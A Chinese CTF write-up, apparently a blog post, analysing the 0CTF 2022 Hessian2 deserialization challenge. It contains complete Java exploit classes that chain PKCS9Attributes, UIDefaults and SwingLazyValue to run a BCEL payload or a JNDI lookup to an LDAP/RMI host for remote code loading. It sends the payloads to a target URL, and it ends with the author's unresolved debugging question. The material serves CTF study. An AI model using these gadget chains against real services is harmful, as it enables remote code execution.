目录
前言:csdn很久不用了,打算最近拾起来,主要是监督自己。
非常可疑的点
另一种方法通过JNDI注入来
构造完整的链子
这里,希望佬们解答解答,非常感谢!!!
从SCTF的java题,看到了0CTF的java,发现都是考察hessian2的链子,于是分析了一段时间。
发现本地搭建,就算使用师傅们的EXP都打不通,很郁闷,是jdk的原因嘛??
题目源码下载:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk
package octf;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.net.URI;
public class pppoc {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(linux.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
// ByteArrayOutputStream baos = new ByteArrayOutputStream();
// Hessian2Output out = new Hessian2Output(baos);
// baos.write(67);
// out.getSerializerFactory().setAllowNonSerializable(true);
// out.writeObject(s);
// out.flushBuffer();
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// Hessian2Input input = new Hessian2Input(bais);
// input.readObject();
doPOST(serialize(s));
}
public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
//实例化的类 实例化的超类 构造函数类型 构造函数值
}
public static T createWithConstructor(Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(obj);
out.flushBuffer();
return baos.toByteArray();
}
public static void unserialize(byte[] stream) throws IOException {
ByteArrayInputStream arrayInputStream=new ByteArrayInputStream(stream);
Hessian2Input hessian2Input=new Hessian2Input(arrayInputStream);
hessian2Input.readObject();
}
public static void doPOST(byte[] obj) throws Exception{
URI url = new URI("http://127.0.0.1:8090/");
HttpEntity requestEntity = new HttpEntity(obj);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
}
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
跟着调试的话会更加容易理解一点,上面一层调用一层是做了一个反射构造器的实例化,这里我推测是因为如果直接传入参数会出现类型不匹配,所以用了反射的操作。
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
就在这两步的调用中,无论如何都调用不到createValue,
也就是在这里super.get获取的值一直为null,
这里传入的就是key,应该是那个恶意BCEL表达式。 但会一直是null把断点下到了最后命令执行的地方,也跳转不过去,但是如果直接运行还是会弹出计算器的。
package octf.jndi;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class sss {
static final String targetUrl="http://192.168.238.165:8090/";
public static void main(String[] args) throws Exception {
// exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
// exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
// exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
// exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});
// SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/ilsogp"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
o.toString();
// SwingLazyValue
//javax.naming.InitialContext.doLookup()
}
public static void exec(String className,String methodName,Object[] args) throws Exception{
SwingLazyValue value= new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput1.writeString("aaa");
hessianOutput1.writeObject(o);
hessianOutput1.flushBuffer();
byte[] b=byteArrayOutputStream.toByteArray();
post(b);
}
public static void post(byte[] b) throws Exception{
URL url=new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
try(OutputStream os = con.getOutputStream()) {
os.write(b);
}
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
System.out.println(content.toString());
}
public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(s));
}
public static T createWithoutConstructor ( Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
// Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
其实可以简单的看出来这俩种方法的区别就是在于,最后swingLazyValue#createvalue方法中的invoke方法,一个是利用BCEL触发命令执行,一个是用的dolookup触发的命令执行,然后简单的解释一下里面代码的作用。
这个put就是这个,但始终为null,所以key就是我们传入的键名,
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});
上面的初始化通过invoke很好写,这里不加描述, 最后命令执行点是这里的doLookup会调用lookup。
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});
package octf.jndi;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class Solve {
static final String targetUrl="http://192.168.238.165:8090/";
public static void main(String[] args) throws Exception {
exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
}
public static void exec(String className,String methodName,Object[] args) throws Exception{
SwingLazyValue value= new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput1.writeString("aaa");
hessianOutput1.writeObject(o);
hessianOutput1.flushBuffer();
byte[] b=byteArrayOutputStream.toByteArray();
post(b);
}
public static void post(byte[] b) throws Exception{
URL url=new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
try(OutputStream os = con.getOutputStream()) {
os.write(b);
}
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer content = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
System.out.println(content.toString());
}
public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(s));
}
public static T createWithoutConstructor ( Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
// Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
直接照搬了,和上面那个没区别,就是在setAccess考虑了版本,
代码的作用是根据当前Java版本来设置成员的访问权限。首先,它通过
System.getProperty("java.version")
获取当前Java版本的字符串表示。然后,它将版本字符串按照.
进行分割,并取得第一个部分作为整数类型的Java版本号。接下来,代码使用条件语句判断Java版本号是否小于12。如果小于12,则注释掉了一行代码
Permit.setAccessible(member)
,这是为了抑制JDK9+版本中的运行时警告。这里的Permit
可能是一个自定义的类或库,用于设置访问权限。如果Java版本大于等于12,则执行
member.setAccessible(true)
,将成员的访问权限设置为可访问。需要注意的是,注释中提到从Java 12开始,无法再抑制运行时警告,因为在Java 12及以上版本中,
Permit
可能不再起作用。这是由于Java开发团队在JDK-8210522中修复了一个问题,导致无法继续使用Permit
来设置访问权限。总之,这段代码根据Java版本来设置成员的访问权限,并考虑了不同版本之间的差异和限制。
因为题目是高jdk,
所以需要修改,但是把题目搭建在本地,进行调试还是卡在了
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)